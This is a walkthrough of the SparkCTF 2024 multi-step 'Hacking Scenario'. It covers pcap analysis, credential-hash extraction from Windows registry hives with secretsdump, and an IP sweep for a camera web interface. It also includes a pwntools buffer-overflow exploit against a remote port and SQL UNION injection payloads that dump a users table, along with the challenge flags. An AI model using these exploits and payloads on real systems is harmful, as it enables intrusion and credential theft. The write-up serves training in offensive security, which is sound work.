<style>
html, body, .ui-content {
background-color: #171717;
color: #ddd;
}
.markdown-body h1,
.markdown-body h2,
.markdown-body h3,
.markdown-body h4,
.markdown-body h5,
.markdown-body h6 {
color: #ddd;
}
.markdown-body h1,
.markdown-body h2 {
border-bottom-color: #ffffff69;
}
.markdown-body h1 .octicon-link,
.markdown-body h2 .octicon-link,
.markdown-body h3 .octicon-link,
.markdown-body h4 .octicon-link,
.markdown-body h5 .octicon-link,
.markdown-body h6 .octicon-link {
color: #fff;
}
.markdown-body img {
background-color: transparent;
}
.ui-toc-dropdown .nav>.active:focus>a, .ui-toc-dropdown .nav>.active:hover>a, .ui-toc-dropdown .nav>.active>a {
color: white;
border-left: 2px solid white;
}
.expand-toggle:hover,
.expand-toggle:focus,
.back-to-top:hover,
.back-to-top:focus,
.go-to-bottom:hover,
.go-to-bottom:focus {
color: white;
}
.ui-toc-dropdown {
background-color: #333;
}
.ui-toc-label.btn {
background-color: #191919;
color: white;
}
.ui-toc-dropdown .nav>li>a:focus,
.ui-toc-dropdown .nav>li>a:hover {
color: white;
border-left: 1px solid white;
}
.markdown-body blockquote {
color: #bcbcbc;
}
.markdown-body table tr {
background-color: #5f5f5f;
}
.markdown-body table tr:nth-child(2n) {
background-color: #4f4f4f;
}
.markdown-body code,
.markdown-body tt {
color: #eee;
background-color: rgba(230, 230, 230, 0.36);
}
a,
.open-files-container li.selected a {
color: #5EB7E0;
}
</style>
---
title: 'Hacking Scenario - SparkCTF 2024'
---
Hacking Scenario - SparkCTF 2024
## Table of Contents
[TOC]
## Scenario Description
TASK 0:
<img src="https://i.ibb.co/w7nm2pr/image-2024-02-10-165614936.png">
<p>Basically you are familiar with investigation scenarios where you have to put pieces together in order to hunt down the threat actor, this one is different, this one is that type of scenarios where you help the threat actor, starting from the bottom, the company you are attacking today is called Spark Open Source Projects ©.</p>
## I Smelled It For You:
Task 1:
<img src="https://i.ibb.co/9TVBxDD/image-2024-02-10-165903328.png">
---
Attachemeent: [NiceSmell.pcapng](https://drive.google.com/file/d/1NwB99B5dN2MQOubKmkv3KbxIjbOchNgL/view)
<p>By reading the description we can get an idea about the task,
Peer-To-Peer File transfer.
First, we start with enabling all protocols, because some of them aren't enable by default in wireshark.</p>
<center>
<img src="https://i.ibb.co/bgV9F88/1.png" alt="1" border="0">
<img src="https://i.ibb.co/MVmR4R7/2.png" alt="2" border="0">
</center>
</br>
<p>
Now after getting a quick first look at the captured packets. We can notice some remarkable protocols. BT-Tracker, BT-DHT and Bitorrent.
We are looking for the sender ID and as we know bitorrent is peer-to-peer.
So Basically how does bitorrent work?
If we parse a torrent file, we get the URL of the tracker, the creation date, the name and size of the file, and alot of raw data containing SHA-1 hashes of each piece, which are equally-sized parts of the file we want to download. The exact size of a piece varies between torrents, but they are usually somewhere between 256KB and 1MB. Which means large files can be devided into thousands of parts. then each part gets downloaded from available peers then check them against the hashes from our torrent file, assemble them together, and finally we’ve got a file!
But what's a Tracker ?
So basically a tracker is like a list of people you share the torrent with which we get our peers from.
By making a simple GET request to the Tracker URL with a few query parameters.
info_hash, peer_id, port, uploaded, downloaded, compact, left.
In order to start downloading a file from a peer.
1) A TCP connection with the peer is established.
2) A Two-Way-Handshake is performed,
3) Exchanging messages in order to start downloading the correct file.
So we check the Handshake in order to retrieve the Peer-ID.
</p>
<center>
<img src="https://i.ibb.co/4R5yZGz/3.png" alt="3" border="0">
</center>
<p>
We check The first packet.<br>
The Client (Reciever) requested the file from a specific peer, that's what we are interested in The sender.</p>
<center>
<img src="https://i.ibb.co/n3tFtqR/4.png" alt="4" border="0">
</center>
<p>
And That's the flag: <code>SparkCTF{2d7142343435302d3679566652664e752e777e32}</code>
</p>
---
## Files For A reason
Task 2:

---
Attachemeent: [Zip_pass_is_1337.zip](https://drive.google.com/file/d/1zI3Z7tjCeP8ukRxY2quTwLnG9YtIR0Ly/view?usp=drive_link)
<p>
This Description implies that the file that was retrieved from the torrent is a "sensitive artifact".
Artifacts are forensic objects that have some forensic value. Any object that contains some data or evidence of something that has occurred like logs, registery hives, and many more.
we are tasked to retrieve the signature of the hidden file.
in other words it's SHA256 hash that's specified in the flag format.
After Uzipping we get a spark.AD1 file.
AD1 files are logical images similar to a container. They are used to hold file-level acquisitions.
Let's fire up FTK-Imager and load the file.
</p>



<p>
As we all know, most people save their files in their Desktops so that's going to be our first Go-To.
<br>Desktop Path: </p>
`=@%SystemRoot%\User\User_Name\Desktop`
<p>
If we check our Users Directory we will be met with the following directories:
<ul>
<li>Administrator</li>
<li>All Users (empty)</li>
<li>Default</li>
<li>Default_User (empty)</li>
<li>Public</li>
</ul>
</p>
<p>by checking the Administrator's Desktop we find two <i style="color:red">.eml</i> files, Manual.eml and Reply.eml
</p>
Let's Check the first file, <i style="color:red">Manual.eml</i>

The mail implies that, a manual has been sent as an attachemment under the name Delivery.zip. But it seems to be protected with a password. And there's a hint about what the password might be.
The <i style="color:red">HASH</i> of the password you use for <i style="color:red">EVERYTHING</i> .
which means that our dear user, uses only one password for everything which is bad practice.
Now we have two tasks at hand.
1. Retrieve the file
2. Retrieve the hash for the password
Let's check the other file <i style="color:red">Reply.eml</i>
it seems to be the duplicate of manual.eml so there's nothing interesting.
<h3> 1) Find Delivery.zip </h3>
Delivery.zip is located under
`=@%SystemRoot%\User\Default\Documents\`

Then Extract it.

<h3> 2) Find The password </h3>
As we said earlier the user has one password for everything, which means it might be the same password for the OS. But how can we retrieve it ?
The OS at hand is a Windows OS.
The windows family stores everything concerning user config, creds and security related stuff in the registry.
The Windows Registry is a collection of databases that contains the system's configuration data. it can be data about the hardware, the software, or the user's information and the ports that are being used.
It also includes data about the recently used files, programs used, or devices connected to the system
The Windows registry consists of Keys and Values.
- Folders: Registry Keys
- Files within the folders : Values
A registry hive is a group of keys, subkeys and values stored within a single file on the disk. and they get loaded into memory when the operating system is started or a user logs in.
- Registry Structure:
Windows Registry consists of the following 5 root keys:
1. HKEY_CURRENT_USER
2. HKEY_USERS
3. HKEY_LOCAL_MACHINE
4. HKEY_CLASSES_ROOT
5. HKEY_CURRENT_CONFIG
We are interested in HKEY_LOCAL_MACHINE which contains SAM and SYSTEM which contain the credentials for all the users in this machine.
The Registry is located under this directory:
`=@%SystemRoot%\Windows\System32\config\`

Now we retrieved SAM and SYSTEM let's retrieve the password.
for this we can use impacket-secretsdump which is pre-installed in kali linux, or we can use the script [secretsdump.py](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) from impacket's github.

The password is the <i style="color:red"> nthash </i> for Administrator. <code>2bd9ee65238cdd1279c3c825ed9b3479</code>
now we use to unzip <code>Delivery.zip</code>
Then we get the SHA256 hash of the file inside it which is <code>Wcam-2024.pdf</code>

<code>Flag: SparkCTF{32ba1fd8c988a15ccad6ab95a6fdf93ce915071ec59ce093bf700ba736bf06a2}</code>
---
## Open Source? Where?
task 3 :
<center>
<img src="https://i.ibb.co/KjD6QB3/image.png">
</center>
<p>
After cracking the zip's password and checking this file :
</p>
<center>
<img src="https://i.ibb.co/pWvM6fY/image.png">
<br>
<br>
<img src="https://i.ibb.co/99wwV8h/image.png" >
</center>
<br>
<p>
Obviously there are some usefull and useless information, our main focus is to determine an IP address as the flag format requires, since the tag is "OSINT" and there is a hint on the bottom right of the PDF that says "Spark open-source projects", we can, by hacker nature, asumme that github would lead somewhere, and in fact it doest, searching for "spark wcam-2024" </p>
<center>
<img src="https://i.ibb.co/D57mCP6/image.png">
</center>
<br>
> [Take me to the repo ↗](https://github.com/alternox1/Spark-Wcam-2024)
<center>
<img src="https://i.ibb.co/WtgtT7T/image.png">
</center>
<p>
The repo has a README.md file, the full manual and the firmware of the camera, seems interesting, but remember we are seeking the IP of the device, so after checking page 3 on the manual:
</p>
<center>
<img src="https://i.ibb.co/TwWg66M/image.png">
</center>
<br>
<p>
This is the algorithm for translating the IP to NID/network ID, so in order to get the IP weed to reverse this simple algorithm, so first we take the Network ID: 27-de6a-Qxx-3
</p>
```python
nid = "27-de6a-Qxx-3"
nid_parts = nid.split("-")
first = str(int(nid_parts[0]) ^15)
second = str(int(nid_parts[1],16)^0xdead)
third = str(ord(nid_parts[2][0]))
print(first + '.' + second + '.' + third)
# output : 20.199.81
```
as for the fourth part, there are quite a few possiblites so chatgpt wrote me this small script that will test if a machine has port 80 open, as the device has a web interface(mentionned in the full manual page 4)
```python
import requests
# Define the base IP address
base_ip = "20.199.81."
# Loop through numbers from 1 to 255
for i in range(1, 256):
# Check if the number leaves a remainder of 3 when divided by 12
if i % 12 == 3:
# Concatenate the number to the base IP address
ip_address = base_ip + str(i)
print(ip_address)
# Send a request to the IP address
try:
response = requests.get("http://" + ip_address)
print(f"IP Address: {ip_address}, Response Code: {response.status_code}")
except:
pass
# Print the response code
print("next")
```
Result :
<center>
<img src="https://i.ibb.co/82pXm3c/image.png">
</center>
<br>
**Flag** : `SparkCTF{20.199.81.207}`
---
## Jump to leaks
task 4 :
<center>
<img src="https://i.ibb.co/5K74qbx/image.png">
</center>
<br>
Connecting to that port takes us to this interface :
<center>
<img src="https://hackmd.io/_uploads/rJCRyoUjp.png">
</center>
<br>
The fourth option seems tempting also its the only one that has an input funcionality :
<center>
<img src="https://hackmd.io/_uploads/BkkieiIoa.png">
</center>
<br>
tho we need to understand how the binary works first before performing any attack, the task can't be solved with out at least reversing the binary behind this. Back to the github repo, along with the full manual, there is a firmware for the device, and for sure the firmware would contain the filesystem, [this article](https://kavigihan.medium.com/iot-hacking-reversing-a-router-firmware-df6e06cc0dc9) helps a lot when it comes to reversing and extracting the file system.
The home director, after extracting the squash file system, has a manual.md file with the following content :
```md
### Spark-wcam-2024
Product Overview:
1. IR LEDs
2. Cameras Lens
3. Blue/Red Indicator Lights
4. Micro SD Card Slot
5. Power Switch
6. Reset Button
7. USB Port
Get Camera Ready:
• Please make sure the camera is fully charged and the Micro SD card has been formatted
already and is securely fitted into the camera’s SD card slot, or it will not work. We
recommend that you use a SDHC Class 10 Micro SD card.
• Slide the Power Switch to the ON position. When the red indicator light goes out and
the blue one remains solid, it means the camera’s Wi-Fi signal is ready.
• If you need the camera to work 7/24 hours, connect it to an outlet AC power supply
using the USB cable and DC 5V power adapter included. Once the camera is connected to
outlet AC power supply, the blue or red indicator light will come on and remain solid
whether the Power Switch lies at the ON position or not.
• Using the CLI configuration interface might be powerfull but limited as it still under
development, we recommend using the web interface, also we recommend changing the default
password found in the `old.txt` file, it is used for both CLI and WEB interface.
### FAQ
• Why camera's old logs are not found in my `logs.txt` files?
There are 4 solutions to this question:
1. The firmware you have here is just a sample, general architecture of how the filesystem
on all the cameras looks like, if the one here is empty, thats casual, get with it.
2. Keep asking questions like these and call the author for help, he might help you and kick
you out of this competition as you seem clueless about what even a CTF is
3. Shut off your brain in case of emergency, you might get lucky and once turned back on
it starts working well.
4. The camera is fully functional, until you break it.
• Why does the camera's web interface is requesting a login/password?
The firmware is open-source, security is not.
• Why does the `old.txt` file empty?
Are you even reading any of this?
• Can I nmap?
NO!
```
So there are files mentionned in the manual like `logs.txt` and `old.txt` which are requested by the service running on port `7005`, for example the second option request the `link.txt`:
<center>
<img src="https://hackmd.io/_uploads/SJdgt_wsp.png">
</center>
<br>
An assumption might cross your mind, the files are in the same directory as the binary right?, now searching for the `links.txt` file using this command :
>kali@kali\$ find . -name logs.txt -type f
<center>
<img src="https://hackmd.io/_uploads/Hk39qOPs6.png">
</center>
<br>
Heading over to that directory, there is a bunch of binaries, the binary requests 3 files, so using `strings` and `grep` we can find the correct binary :
>kali@kali\$ strings -f * | grep 'links.txt'
<center>
<img src="https://hackmd.io/_uploads/HJb2n_wj6.png">
</center>
<br>
so `server` is the correct binary(run it in case of doubt)
file command :

checksec :

- reversing the binary :
-- main:

-- menu:
```C
int menu()
{
int v1; // [esp+Ch] [ebp-Ch] BYREF
printf("%s\x1B[1m __ __ ___ __ _ _ _ \n", "\x1B[36m");
puts(" | V | __| \\| | || | ");
puts(" | \\_/ | _|| | ' | \\/ | ");
printf(" |_| |_|___|_|\\__|\\__/\x1B[m%s\n", "\x1B[0m");
puts(" ");
printf(" %s1)> Specs%s\n", "\x1B[35m", "\x1B[0m");
printf(" %s2)> Saved Shots%s\n", "\x1B[33m", "\x1B[0m");
printf(" %s3)> Logs%s\n", "\x1B[32m", "\x1B[0m");
printf(" %s4)> Reset Config Pass%s\n", "\x1B[34m", "\x1B[0m");
printf(" %s99)> Exit%s\n", "\x1B[31m", "\x1B[0m");
printf("\n \x1B[1m<INPUT>\x1B[m = ");
__isoc99_scanf("%d", &v1);
if ( v1 == 99 )
return out();
if ( v1 <= 99 )
{
if ( v1 == 4 )
return pass_reset();
if ( v1 <= 4 )
{
switch ( v1 )
{
case 3:
return logs();
case 1:
return specs();
case 2:
return imgs();
}
}
}
return printf("INVALID ");
}
```
-- pass_reset():
```C
int pass_reset()
{
char v1[20]; // [esp+0h] [ebp-18h] BYREF
printf(
"\n"
" This is the reset your pass interface\n"
" the password is used for both this and the \x1B[1m%sWEB%s\x1B[m interface\n",
"\x1B[36m",
"\x1B[0m");
printf(" Enter Your Old Password :\n >");
__isoc99_scanf("%s", v1);
return ModifyPass();
}
```
-- functions

-- authority_checker():
```C
int __cdecl authority_checker(int a1)
{
printf("\n\x1B[1m%s[!] Checking Auth Status ...%s\x1B[m\n", "\x1B[31m", "\x1B[36m");
if ( a1 != 0xDEADFACE )
return printf("\n%s\x1B[1m[X]\x1B[m %sAuthority Is \x1B[1mNOT Set\x1B[m\n%s", "\x1B[31m", "\x1B[31m", "\x1B[0m");
printf("%s\x1B[1m[X]\x1B[m %sAuthority Is \x1B[1mSet\x1B[m\n%s", "\x1B[32m", "\x1B[32m", "\x1B[0m");
return printFileContent("old.txt");
}
```
based on the information gathered from reversing the binary, we have to make a jump to the `authority_checker` function, rewrite the first parameter to the value `0xDEADFACE` and the password will be printed.
solver :
```python
from pwn import *
p = remote("20.199.81.207",7005)
win = 0x080492e6
payload = cyclic(16+12)
payload += p32(win)
payload += p32(0x0)
payload += p32(3735943886)
print(p.clean().decode())
p.sendline(b'4')
print(p.clean().decode())
p.sendline(payload)
p.interactive()
```
Result :

**Flag** : `SparkCTF{t2jTmg2Vp548SX8P}`
## At least I'm web

base on the manual found on the home directory, the login for the web app is the combo `camera:t2jTmg2Vp548SX8P`
lets try it :

and it worked :

the logs page is the following :

it has this feature of searching through the logs, the logs must be stored somewhere, a database for example, but thats an assumtion we will check for later, as for now, the source code must be in the firmware too, but how to find it? well the path to the logs page is `\logs`, so another file command :
>kali@kali\$ find . -name logs* -type f

heading over to that directory, multiple files can be found :

the main file `app.py` has the source code for the app, but the interesting part is found in `dbhelper.py` :
```python
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: dbHelper.py
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ import sqlite3
2 │ from dotenv import load_dotenv
3 │ import os
4 │
5 │ load_dotenv()
6 │
7 │ class DBHelper():
8 │
9 │ def __init__(self, dbname="webcam.sqlite"):
10 │ self.dbname = dbname
11 │ self.conn = sqlite3.connect(dbname)
12 │
13 │ def setup(self):
14 │ stmt = "CREATE TABLE IF NOT EXISTS webcam_users (id integer primary key, username text, password text, service text, port text)"
15 │ self.conn.execute(stmt)
16 │ stmt = "CREATE TABLE IF NOT EXISTS webcam_logs (id integer primary key, log text, size text, name text, status text)"
17 │ self.conn.execute(stmt)
18 │ stmt = f"INSERT INTO webcam_users (username, password, service, port) VALUES ('camera', '{os.getenv('ADMIN_PASSWORD')}','http','80')"
19 │ self.conn.execute(stmt)
20 │ stmt = f"INSERT INTO webcam_users (username, password, service, port) VALUES ('{os.getenv('USRNM')}', '{os.getenv('PSSD')}','{os.getenv('SRVC
│ ')}','{os.getenv('PRT')}')"
21 │ self.conn.execute(stmt)
22 │ with open('logs.txt','r') as f:
23 │ lines = f.readlines()
24 │ for line in lines:
25 │ stmt = f"INSERT INTO webcam_logs (log, size, name, status) VALUES ('{line.split('|')[0]}','{line.split('|')[1].split(':')[1]}','{line
│ .split('|')[2].split(':')[1]}','{line.split('|')[3].split(':')[1].strip()}')"
26 │ self.conn.execute(stmt)
27 │ self.conn.commit()
28 │
29 │ """
30 │ NOT FULL, BUT FUNCTIONAL ;).
```
so the database is sqlite and there is another table called `webcam_users` with 4 columns `username`, `password`, `service` and `port`, trying to perform an union attack to pivot from a table to the other might work, to check how many columns the first query fetches I used this payload :
```sql
' union select null,null,null,null,null-- -
```
and to leak everything out of the second table I used this payload :
```sql
' union select null,username,password,service,port from webcam_users-- -
```
Result :

we found the creds for another service running on port `1338` and its called shell, using netcat we provide the given information and then :

`Spark{H0p1ng_7h3_ch41n_w4s_FUN!_4_Y0u_H3CK3R}`
## Appendix and FAQ
:::info
**Find this document incomplete?** Leave a comment!
for more info DM us on discord "alternox3051" and "rudy4487".
:::
###### tags: `SparkCTF2024` `Hacking-Scenario`